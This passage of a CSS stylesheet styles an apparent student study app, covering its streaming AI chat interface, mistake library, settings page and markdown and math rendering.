left: 100%;
}
.streaming-chat-interface .send-button:hover:not(:disabled) {
background: #e0f2fe;
border-color: #0369a1;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(3, 105, 161, 0.15);
}
.streaming-chat-interface.fullscreen .send-button {
padding: 1rem 2.5rem;
font-size: 1.1rem;
border-radius: 16px;
}
.streaming-chat-interface .send-button:disabled {
background: #f1f5f9;
color: #94a3b8;
border-color: #e2e8f0;
cursor: not-allowed;
box-shadow: none;
}
.chat-info {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1rem 1.5rem;
background: linear-gradient(135deg, #edf2f7, #f7fafc);
border-top: 1px solid rgba(226, 232, 240, 0.5);
font-size: 0.85rem;
backdrop-filter: blur(10px);
position: relative;
}
.chat-info::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, rgba(102, 126, 234, 0.3), transparent);
}
.streaming-chat-interface.fullscreen .chat-info {
padding: 1.2rem 3rem;
font-size: 0.9rem;
}
.chat-stats {
display: flex;
gap: 1.5rem;
color: #718096;
font-weight: 500;
}
.chat-stats span {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.4rem 0.8rem;
background: rgba(255,255,255,0.7);
border-radius: 8px;
backdrop-filter: blur(5px);
transition: all 0.3s ease;
}
.chat-stats span:hover {
background: rgba(255,255,255,0.9);
transform: translateY(-1px);
}
.streaming-status {
color: #667eea;
font-weight: 600;
background: linear-gradient(135deg, rgba(102, 126, 234, 0.1), rgba(118, 75, 162, 0.1));
padding: 0.4rem 0.8rem;
border-radius: 8px;
backdrop-filter: blur(5px);
animation: pulse 2s infinite;
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.7; }
}
.thinking-status {
color: #9f7aea;
font-weight: 600;
background: linear-gradient(135deg, rgba(159, 122, 234, 0.1), rgba(147, 51, 234, 0.1));
padding: 0.4rem 0.8rem;
border-radius: 8px;
backdrop-filter: blur(5px);
position: relative;
}
.thinking-status::before {
content: '🧠';
margin-right: 0.5rem;
animation: thinking 1.5s ease-in-out infinite;
}
@keyframes thinking {
0%, 100% { transform: scale(1); }
50% { transform: scale(1.1); }
}
/* 聊天工具栏样式 */
.chat-toolbar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1rem 1.5rem;
background: linear-gradient(135deg, #ffffff, #f8fafc);
border-bottom: 1px solid rgba(226, 232, 240, 0.6);
backdrop-filter: blur(10px);
position: relative;
z-index: 10;
}
.chat-toolbar::after {
content: '';
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, #667eea, transparent);
}
.streaming-chat-interface.fullscreen .chat-toolbar {
padding: 1.5rem 3rem;
background: linear-gradient(135deg, #f8fafc, #ffffff);
box-shadow: 0 2px 10px rgba(0,0,0,0.05);
}
.toolbar-left {
display: flex;
align-items: center;
gap: 1rem;
}
.chat-title {
font-size: 1.1rem;
font-weight: 600;
color: #2d3748;
background: linear-gradient(135deg, #667eea, #764ba2);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.streaming-chat-interface.fullscreen .chat-title {
font-size: 1.3rem;
}
.toolbar-right {
display: flex;
align-items: center;
gap: 0.5rem;
}
.fullscreen-toggle-btn {
padding: 0.6rem;
background: linear-gradient(135deg, rgba(102, 126, 234, 0.1), rgba(118, 75, 162, 0.1));
border: 1px solid rgba(102, 126, 234, 0.2);
border-radius: 10px;
cursor: pointer;
font-size: 1.2rem;
color: #667eea;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
backdrop-filter: blur(5px);
display: flex;
align-items: center;
justify-content: center;
width: 40px;
height: 40px;
}
.fullscreen-toggle-btn:hover:not(:disabled) {
background: linear-gradient(135deg, rgba(102, 126, 234, 0.2), rgba(118, 75, 162, 0.2));
border-color: rgba(102, 126, 234, 0.4);
transform: translateY(-1px) scale(1.05);
box-shadow: 0 4px 12px rgba(102, 126, 234, 0.2);
}
.fullscreen-toggle-btn:disabled {
opacity: 0.5;
cursor: not-allowed;
transform: none;
}
.streaming-chat-interface.fullscreen .fullscreen-toggle-btn {
width: 44px;
height: 44px;
font-size: 1.3rem;
}
/* 聊天界面测试页面样式 */
.chat-interface-test {
display: flex;
flex-direction: column;
height: 100%;
background: linear-gradient(135deg, #f8fafc 0%, #e2e8f0 100%);
overflow: hidden;
}
.test-header {
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
padding: 2rem;
box-shadow: 0 4px 20px rgba(102, 126, 234, 0.3);
}
.test-header-content {
display: flex;
justify-content: space-between;
align-items: center;
max-width: 1200px;
margin: 0 auto;
}
.test-title h2 {
margin: 0 0 0.5rem 0;
font-size: 2rem;
font-weight: 700;
}
.test-description {
margin: 0;
opacity: 0.9;
font-size: 1.1rem;
}
.back-button {
padding: 0.75rem 1.5rem;
background: rgba(255, 255, 255, 0.2);
border: 1px solid rgba(255, 255, 255, 0.3);
border-radius: 8px;
color: white;
cursor: pointer;
font-weight: 500;
transition: all 0.3s ease;
backdrop-filter: blur(10px);
}
.back-button:hover {
background: rgba(255, 255, 255, 0.3);
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2);
}
.test-content {
flex: 1;
padding: 2rem;
overflow-y: auto;
display: flex;
flex-direction: column;
gap: 2rem;
max-width: 1200px;
margin: 0 auto;
width: 100%;
}
.feature-highlights {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 1rem;
margin-bottom: 1rem;
}
.feature-item {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 1rem 1.5rem;
background: white;
border-radius: 12px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
transition: all 0.3s ease;
border: 1px solid rgba(102, 126, 234, 0.1);
}
.feature-item:hover {
transform: translateY(-2px);
box-shadow: 0 4px 16px rgba(102, 126, 234, 0.2);
border-color: rgba(102, 126, 234, 0.3);
}
.feature-icon {
font-size: 1.5rem;
}
.feature-text {
font-weight: 500;
color: #2d3748;
}
.chat-demo-container {
flex: 1;
min-height: 500px;
background: white;
border-radius: 16px;
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
overflow: hidden;
border: 1px solid rgba(102, 126, 234, 0.1);
}
.demo-chat {
height: 100%;
}
.test-instructions {
background: white;
border-radius: 12px;
padding: 1.5rem;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
border: 1px solid rgba(102, 126, 234, 0.1);
}
.test-instructions h3 {
margin: 0 0 1rem 0;
color: #2d3748;
font-size: 1.2rem;
}
.instruction-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 1rem;
}
.instruction-item {
padding: 1rem;
background: linear-gradient(135deg, #f8fafc, #edf2f7);
border-radius: 8px;
border: 1px solid rgba(226, 232, 240, 0.6);
}
.instruction-item strong {
display: block;
margin-bottom: 0.5rem;
color: #667eea;
font-size: 0.95rem;
}
.instruction-item p {
margin: 0;
color: #4a5568;
font-size: 0.9rem;
line-height: 1.4;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', sans-serif;
background-color: #f5f5f5;
color: #333;
}
.app {
min-height: 100vh;
display: flex;
flex-direction: column;
}
.app-header {
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
padding: 1rem;
text-align: center;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
.app-header h1 {
font-size: 1.5rem;
font-weight: 600;
}
.keyboard-shortcuts-hint {
margin-top: 0.5rem;
font-size: 0.8rem;
opacity: 0.8;
}
/* 导航栏样式 */
.app-nav {
display: flex;
background: white;
border-bottom: 1px solid #e1e5e9;
box-shadow: 0 2px 4px rgba(0,0,0,0.05);
}
.app-nav button {
flex: 1;
padding: 1rem;
border: none;
background: transparent;
cursor: pointer;
font-size: 1rem;
transition: all 0.3s ease;
border-bottom: 3px solid transparent;
}
.app-nav button:hover {
background: #f8f9fa;
}
.app-nav button.active {
background: #f8f9fa;
border-bottom-color: #667eea;
color: #667eea;
font-weight: 600;
}
.data-management-button {
background: #e8f5e8 !important;
color: #28a745 !important;
font-weight: 600;
}
.data-management-button:hover {
background: #d4edda !important;
}
.app-main {
flex: 1;
padding: 1rem;
max-width: 1200px;
margin: 0 auto;
width: 100%;
}
/* 左右分栏布局样式 (This is now primarily controlled by DeepStudent.css) */
.analysis-layout {
display: flex; /* Changed to flex to match DeepStudent.css */
gap: 1.5rem;
height: 100%;
flex: 1;
}
/* 左侧上传栏 */
.left-panel {
background: transparent;
border-radius: 0;
box-shadow: none;
overflow-y: auto;
max-width: 100%;
box-sizing: border-box;
padding: 24px;
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: stretch;
}
.upload-section {
padding: 1.5rem;
}
.upload-section h3 {
margin-bottom: 1.5rem;
color: #333;
font-size: 1.2rem;
font-weight: 600;
border-bottom: 2px solid #f0f0f0;
padding-bottom: 0.5rem;
}
.action-buttons {
margin-top: 1.5rem;
padding-top: 1.5rem;
border-top: 1px solid #e1e5e9;
display: flex;
flex-direction: column;
gap: 0.75rem;
}
/* 右侧结果栏 */
.right-panel {
background: white;
border-radius: 24px;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
overflow: hidden;
display: flex;
flex-direction: column;
}
/* 空状态 */
.empty-result {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100%;
color: #666;
text-align: center;
padding: 2rem;
}
.empty-icon {
font-size: 4rem;
margin-bottom: 1rem;
opacity: 0.5;
}
.empty-logo {
width: 64px;
height: 64px;
object-fit: contain;
opacity: 0.6;
border-radius: 12px;
}
.empty-result h3 {
margin-bottom: 0.5rem;
color: #333;
}
.empty-result p {
opacity: 0.7;
max-width: 300px;
}
/* 分析结果样式重构 */
.analysis-result {
background: #ffffff;
border-radius: 12px;
border: 1px solid #e2e8f0;
height: 100%;
display: flex;
flex-direction: column;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
overflow: hidden;
}
.result-header {
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
flex-shrink: 0;
}
.result-header h3 {
color: #333;
font-size: 1.2rem;
margin: 0;
}
.result-info {
padding: 1.5rem;
border-bottom: 1px solid #e1e5e9;
flex-shrink: 0;
}
.info-item {
margin-bottom: 1rem;
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.info-item:last-child {
margin-bottom: 0;
}
.info-item strong {
color: #555;
font-size: 0.9rem;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.info-value {
color: #333;
font-weight: 500;
}
.tags {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
}
.tag {
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
padding: 0.25rem 0.75rem;
border-radius: 20px;
font-size: 0.8rem;
font-weight: 500;
}
.ocr-text {
background: #f8f9fa;
padding: 1rem;
border-radius: 8px;
border-left: 4px solid #667eea;
font-family: 'Courier New', monospace;
font-size: 0.9rem;
line-height: 1.5;
white-space: pre-wrap;
max-height: 150px;
overflow-y: auto;
}
/* Markdown渲染样式 */
.markdown-content {
line-height: 1.2;
color: #333;
}
.markdown-content .code-block {
background: #f8f9fa;
border: 1px solid #e9ecef;
border-radius: 6px;
padding: 1rem;
margin: 0.5rem 0;
overflow-x: auto;
font-family: 'Courier New', Consolas, Monaco, monospace;
font-size: 0.9rem;
}
.markdown-content .inline-code {
background: #f1f3f4;
padding: 0.2rem 0.4rem;
border-radius: 3px;
font-family: 'Courier New', Consolas, Monaco, monospace;
font-size: 0.9em;
color: #d63384;
}
.markdown-content .table-wrapper {
overflow-x: auto;
margin: 1rem 0;
}
.markdown-content .markdown-table {
width: 100%;
border-collapse: collapse;
border: 1px solid #dee2e6;
}
.markdown-content .markdown-table th,
.markdown-content .markdown-table td {
padding: 0.75rem;
text-align: left;
border-bottom: 1px solid #dee2e6;
}
.markdown-content .markdown-table th {
background-color: #f8f9fa;
font-weight: 600;
border-bottom: 2px solid #dee2e6;
}
.markdown-content .markdown-table tr:hover {
background-color: #f8f9fa;
}
.markdown-content .markdown-link {
color: #007bff;
text-decoration: none;
}
.markdown-content .markdown-link:hover {
text-decoration: underline;
}
.markdown-content .markdown-list {
margin: 0.5rem 0;
padding-left: 1.5rem;
}
.markdown-content .markdown-list li {
margin: 0.25rem 0;
}
.markdown-content .markdown-blockquote {
margin: 1rem 0;
padding: 0.5rem 1rem;
border-left: 4px solid #007bff;
background: #f8f9fa;
font-style: italic;
}
.markdown-content .markdown-h1,
.markdown-content .markdown-h2,
.markdown-content .markdown-h3,
.markdown-content .markdown-h4,
.markdown-content .markdown-h5,
.markdown-content .markdown-h6 {
margin: 1rem 0 0.5rem 0;
color: #2c3e50;
}
.markdown-content .markdown-h1 { font-size: 1.5rem; }
.markdown-content .markdown-h2 { font-size: 1.3rem; }
.markdown-content .markdown-h3 { font-size: 1.1rem; }
.markdown-content .markdown-h4 { font-size: 1rem; }
.markdown-content .markdown-h5 { font-size: 0.9rem; }
.markdown-content .markdown-h6 { font-size: 0.8rem; }
.markdown-content p {
margin: 0.3rem 0;
}
.markdown-content strong {
font-weight: 600;
color: #2c3e50;
}
.markdown-content em {
font-style: italic;
color: #6c757d;
}
/* 数学公式样式 */
.markdown-content .katex {
font-size: 1em;
}
.markdown-content .katex-display {
margin: 1rem 0;
text-align: center;
}
/* 流式渲染样式 */
.streaming-markdown {
position: relative;
}
.streaming-cursor {
color: #007bff;
font-weight: bold;
opacity: 1;
animation: blink 1s infinite;
margin-left: 2px;
}
.partial-math-indicator {
color: #ffc107;
margin-left: 0.25rem;
animation: pulse 1s infinite;
font-size: 0.9em;
}
@keyframes blink {
0%, 50% { opacity: 1; }
51%, 100% { opacity: 0; }
}
@keyframes pulse {
0% { opacity: 0.6; }
50% { opacity: 1; }
100% { opacity: 0.6; }
}
.streaming-cursor.visible {
opacity: 1;
}
/* 流式消息特殊样式 */
.message.streaming .message-content {
border-left: 3px solid #007bff;
background: linear-gradient(90deg, #f8f9fa 0%, #e3f2fd 100%);
animation: streamingPulse 2s ease-in-out infinite;
}
@keyframes streamingPulse {
0%, 100% {
background: linear-gradient(90deg, #f8f9fa 0%, #e3f2fd 100%);
}
50% {
background: linear-gradient(90deg, #e3f2fd 0%, #f8f9fa 100%);
}
}
/* 聊天容器样式重构 */
.chat-container {
flex: 1;
display: flex;
flex-direction: column;
min-height: 0;
}
.chat-header {
padding: 1rem 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
flex-shrink: 0;
display: flex;
justify-content: space-between;
align-items: center;
}
.chat-header h3,
.chat-header h4 {
margin: 0;
color: #333;
font-size: 1rem;
}
/* 聊天选项样式 */
.chat-options {
padding: 1rem 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
display: flex;
gap: 2rem;
flex-wrap: wrap;
}
.chat-options .form-group {
margin-bottom: 0;
}
.chat-options label {
font-size: 0.9rem;
color: #555;
cursor: pointer;
user-select: none;
}
.chat-history {
flex: 1;
padding: 1rem;
overflow-y: auto;
min-height: 200px;
max-height: none;
}
.message {
margin-bottom: 1rem;
display: flex;
flex-direction: column;
}
.message.user {
align-items: flex-end;
}
.message.assistant {
align-items: flex-start;
}
.message-content {
max-width: 85%;
padding: 0.75rem 1rem;
border-radius: 12px;
line-height: 1.5;
word-wrap: break-word;
}
.message.user .message-content {
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e0f2fe;
border-bottom-right-radius: 4px;
}
.message.assistant .message-content {
background: #f8f9fa;
color: #333;
border: 1px solid #e1e5e9;
border-bottom-left-radius: 4px;
}
.message-time {
font-size: 0.75rem;
color: #666;
margin-top: 0.25rem;
padding: 0 0.5rem;
}
/* 打字动画 */
.typing-indicator {
display: inline-flex;
gap: 0.25rem;
margin-right: 0.5rem;
}
.typing-indicator span {
width: 6px;
height: 6px;
border-radius: 50%;
background: #667eea;
animation: typing 1.4s infinite ease-in-out;
}
.typing-indicator span:nth-child(1) {
animation-delay: -0.32s;
}
.typing-indicator span:nth-child(2) {
animation-delay: -0.16s;
}
@keyframes typing {
0%, 80%, 100% {
transform: scale(0.8);
opacity: 0.5;
}
40% {
transform: scale(1);
opacity: 1;
}
}
.chat-input {
padding: 1rem 1.5rem;
border-top: 1px solid #e1e5e9;
background: white;
display: flex;
gap: 0.75rem;
flex-shrink: 0;
}
.chat-input input {
flex: 1;
padding: 0.75rem;
border: 2px solid #e1e5e9;
border-radius: 25px;
font-size: 0.9rem;
outline: none;
transition: border-color 0.3s ease;
}
.chat-input input:focus {
border-color: #0369a1;
box-shadow: 0 0 0 3px rgba(3, 105, 161, 0.1);
}
.send-button {
padding: 0.75rem 1.25rem;
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e0f2fe;
border-radius: 25px;
font-size: 1rem;
cursor: pointer;
transition: all 0.3s ease;
min-width: 60px;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
}
.send-button:hover:not(:disabled) {
background: #e0f2fe;
border-color: #0369a1;
transform: translateY(-1px);
box-shadow: 0 4px 8px rgba(3, 105, 161, 0.15);
}
.send-button:disabled {
background: #f1f5f9;
color: #94a3b8;
border-color: #e2e8f0;
cursor: not-allowed;
transform: none;
box-shadow: none;
}
/* 分析表单样式（保持向后兼容） */
.analysis-form {
background: white;
border-radius: 12px;
padding: 2rem;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
.form-group {
margin-bottom: 1.5rem;
}
.form-group label {
display: block;
margin-bottom: 0.5rem;
font-weight: 500;
color: #555;
}
.form-group select,
.form-group input,
.form-group textarea {
width: 100%;
padding: 0.75rem;
border: 2px solid #e1e5e9;
border-radius: 8px;
font-size: 1rem;
transition: border-color 0.3s ease;
}
.form-group select:focus,
.form-group input:focus,
.form-group textarea:focus {
outline: none;
border-color: #667eea;
}
.form-group textarea {
resize: vertical;
min-height: 80px;
}
/* 图片预览 */
.image-preview {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
margin-top: 0.5rem;
}
.preview-image {
width: 100px;
height: 100px;
object-fit: cover;
border-radius: 8px;
border: 2px solid #e1e5e9;
}
/* 按钮样式 */
.analyze-button {
width: 100%;
padding: 1rem;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border: none;
border-radius: 8px;
font-size: 1.1rem;
font-weight: 600;
cursor: pointer;
transition: transform 0.2s ease, box-shadow 0.2s ease;
}
.analyze-button:hover:not(:disabled) {
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(102, 126, 234, 0.4);
}
.analyze-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
/* 分析结果样式 */
.analysis-result {
background: #ffffff;
border-radius: 12px;
border: 1px solid #e2e8f0;
height: 100%;
display: flex;
flex-direction: column;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
overflow: hidden;
}
.result-header {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.result-header h2 {
color: #333;
font-size: 1.3rem;
}
.result-actions {
display: flex;
gap: 0.5rem;
}
.save-button {
padding: 0.5rem 1rem;
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e2e8f0;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.save-button:hover {
background: #e0f2fe;
border-color: #0369a1;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
}
.reset-button {
padding: 0.5rem 1rem;
background: #6c757d;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.reset-button:hover {
background: #5a6268;
}
.result-info {
padding: 1.5rem;
border-bottom: 1px solid #e1e5e9;
}
.info-item {
margin-bottom: 1rem;
}
.info-item:last-child {
margin-bottom: 0;
}
.info-item strong {
color: #495057;
}
.ocr-text {
margin-top: 0.5rem;
padding: 1rem;
background: #f8f9fa;
border-radius: 6px;
border-left: 4px solid #667eea;
font-family: 'Courier New', monospace;
white-space: pre-wrap;
}
/* 聊天容器 */
.chat-container {
display: flex;
flex-direction: column;
flex: 1;
min-height: 400px;
max-height: calc(100vh - 300px);
}
/* 聊天容器全屏时移除高度限制 */
.chat-container.chat-fullscreen {
min-height: unset;
max-height: unset;
}
.chat-history {
flex: 1;
overflow-y: auto;
padding: 1rem;
display: flex;
flex-direction: column;
gap: 1rem;
}
.message {
max-width: 80%;
padding: 1rem;
border-radius: 12px;
position: relative;
}
.message.user {
align-self: flex-end;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
}
.message.assistant {
align-self: flex-start;
background: #f8f9fa;
border: 1px solid #e1e5e9;
}
.message-content {
margin-bottom: 0.5rem;
line-height: 1.5;
}
.message-time {
font-size: 0.8rem;
opacity: 0.7;
}
.chat-input {
display: flex;
padding: 1rem;
border-top: 1px solid #e1e5e9;
background: #f8f9fa;
gap: 0.5rem;
}
.chat-input input {
flex: 1;
padding: 0.75rem;
border: 2px solid #e1e5e9;
border-radius: 8px;
font-size: 1rem;
}
.chat-input input:focus {
outline: none;
border-color: #0369a1;
box-shadow: 0 0 0 3px rgba(3, 105, 161, 0.1);
}
.chat-input button {
padding: 0.75rem 1.5rem;
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e0f2fe;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.3s ease;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
}
.chat-input button:hover:not(:disabled) {
background: #e0f2fe;
border-color: #0369a1;
box-shadow: 0 4px 8px rgba(3, 105, 161, 0.15);
}
.chat-input button:disabled {
background: #f1f5f9;
color: #94a3b8;
border-color: #e2e8f0;
cursor: not-allowed;
box-shadow: none;
}
/* 错题库样式 */
.mistake-library {
background: white;
border-radius: 12px;
display: flex;
flex-direction: column;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
.library-header {
display: flex;
align-items: center;
gap: 1rem;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.back-button {
padding: 0.5rem 1rem;
background: #6c757d;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.back-button:hover {
background: #5a6268;
}
.library-filters {
display: flex;
gap: 1rem;
padding: 1rem 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.filter-group {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.filter-group label {
font-size: 0.9rem;
font-weight: 500;
color: #555;
}
.filter-group select,
.filter-group input {
padding: 0.5rem;
border: 1px solid #e1e5e9;
border-radius: 6px;
font-size: 0.9rem;
}
.library-content {
padding: 1.5rem;
flex: 1;
overflow-y: auto;
}
.loading {
text-align: center;
padding: 2rem;
color: #6c757d;
}
.empty-state {
text-align: center;
padding: 3rem;
color: #6c757d;
}
.empty-state p {
margin-bottom: 0.5rem;
}
.mistakes-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
gap: 1rem;
}
.mistake-card {
border: 1px solid #e1e5e9;
border-radius: 8px;
padding: 1rem;
cursor: pointer;
transition: all 0.3s ease;
}
.mistake-card:hover {
border-color: #667eea;
box-shadow: 0 4px 12px rgba(102, 126, 234, 0.15);
transform: translateY(-2px);
}
.mistake-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.5rem;
}
.subject-badge {
background: #667eea;
color: white;
padding: 0.25rem 0.5rem;
border-radius: 4px;
font-size: 0.8rem;
font-weight: 500;
}
.type-badge {
background: #28a745;
color: white;
padding: 0.25rem 0.5rem;
border-radius: 4px;
font-size: 0.8rem;
font-weight: 500;
}
.date {
font-size: 0.8rem;
color: #6c757d;
}
.date-info {
font-size: 0.8rem;
color: #6c757d;
}
.mistake-content h4 {
margin-bottom: 0.5rem;
color: #333;
font-size: 1rem;
}
.ocr-preview {
font-size: 0.9rem;
color: #6c757d;
line-height: 1.4;
margin-bottom: 1rem;
}
.mistake-tags {
display: flex;
flex-wrap: wrap;
gap: 0.25rem;
margin-bottom: 1rem;
}
.tag {
background: #e9ecef;
color: #495057;
padding: 0.2rem 0.5rem;
border-radius: 4px;
font-size: 0.8rem;
}
.tag-more {
background: #6c757d;
color: white;
padding: 0.2rem 0.5rem;
border-radius: 4px;
font-size: 0.8rem;
}
.mistake-footer {
display: flex;
justify-content: space-between;
align-items: center;
font-size: 0.8rem;
color: #6c757d;
}
/* 设置页面样式 */
.settings {
background: white;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
.settings-header {
display: flex;
align-items: center;
gap: 1rem;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.settings-content {
padding: 1.5rem;
}
.settings-section {
margin-bottom: 2rem;
}
.settings-section:last-child {
margin-bottom: 0;
}
.settings-section h3 {
margin-bottom: 1rem;
color: #333;
font-size: 1.1rem;
}
.form-row {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1rem;
}
.api-key-input {
display: flex;
gap: 0.5rem;
}
.api-key-input input {
flex: 1;
}
.test-button {
padding: 0.75rem 1rem;
border: none;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.3s ease;
white-space: nowrap;
}
.test-button {
background: #6c757d;
color: white;
}
.test-button.success {
background: #28a745;
color: white;
}
.test-button.error {
background: #dc3545;
color: white;
}
.test-button:hover:not(:disabled) {
opacity: 0.9;
}
.test-button:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.checkbox-label {
display: flex;
align-items: center;
gap: 0.5rem;
cursor: pointer;
}
.checkbox-label input[type="checkbox"] {
width: auto;
}
.data-actions {
display: flex;
gap: 1rem;
flex-wrap: wrap;
}
.primary-button {
padding: 0.75rem 1.5rem;
background: #f8fafc;
color: #1e293b;
border: 1px solid #e2e8f0;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.primary-button:hover:not(:disabled) {
background: #f1f5f9;
border-color: #cbd5e1;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.primary-button:disabled {
opacity: 0.5;
cursor: not-allowed;
}
.secondary-button {
padding: 0.75rem 1.5rem;
background: #f8fafc;
color: #64748b;
border: 1px solid #e2e8f0;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.secondary-button:hover {
background: #f1f5f9;
border-color: #cbd5e1;
color: #475569;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.danger-button {
padding: 0.75rem 1.5rem;
background: #fef2f2;
color: #dc2626;
border: 1px solid #fecaca;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.danger-button:hover {
background: #fee2e2;
border-color: #fca5a5;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.about-info p {
margin-bottom: 0.5rem;
color: #6c757d;
}
.settings-footer {
display: flex;
justify-content: space-between;
padding: 1.5rem;
background: #f8f9fa;
border-top: 1px solid #e1e5e9;
}
/* 错题详情样式 */
.mistake-detail {
background: white;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
.detail-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1.5rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
}
.header-title {
flex: 1;
margin: 0 1rem;
}
.header-title h2 {
margin: 0 0 0.5rem 0;
color: #333;
font-size: 1.3rem;
}
.header-meta {
display: flex;
gap: 1rem;
align-items: center;
}
.header-actions {
display: flex;
gap: 0.5rem;
}
.edit-button {
padding: 0.5rem 1rem;
background: #fffbeb;
color: #d97706;
border: 1px solid #fed7aa;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.edit-button:hover {
background: #fef3c7;
border-color: #fbbf24;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.delete-button {
padding: 0.5rem 1rem;
background: #fef2f2;
color: #dc2626;
border: 1px solid #fecaca;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.delete-button:hover {
background: #fee2e2;
border-color: #fca5a5;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.cancel-button {
padding: 0.5rem 1rem;
background: #f8fafc;
color: #64748b;
border: 1px solid #e2e8f0;
border-radius: 8px;
cursor: pointer;
font-weight: 500;
transition: all 0.15s ease;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.cancel-button:hover {
background: #f1f5f9;
border-color: #cbd5e1;
color: #475569;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.detail-content {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 2rem;
padding: 1.5rem;
min-height: calc(100vh - 250px);
}
/* 响应式设计 */
@media (max-width: 1400px) {
.detail-content {
grid-template-columns: 1fr 0.8fr;
}
}
@media (max-width: 1200px) {
.detail-content {
grid-template-columns: 1fr;
grid-template-rows: auto 1fr;
}
}
@media (max-width: 768px) {
.detail-content {
padding: 1rem;
gap: 1rem;
}
}
.detail-main {
display: flex;
flex-direction: column;
gap: 2rem;
}
.info-section {
background: #f8f9fa;
border-radius: 8px;
padding: 1.5rem;
}
.info-section h3 {
margin: 0 0 1rem 0;
color: #333;
font-size: 1.1rem;
}
.info-display .info-row {
display: flex;
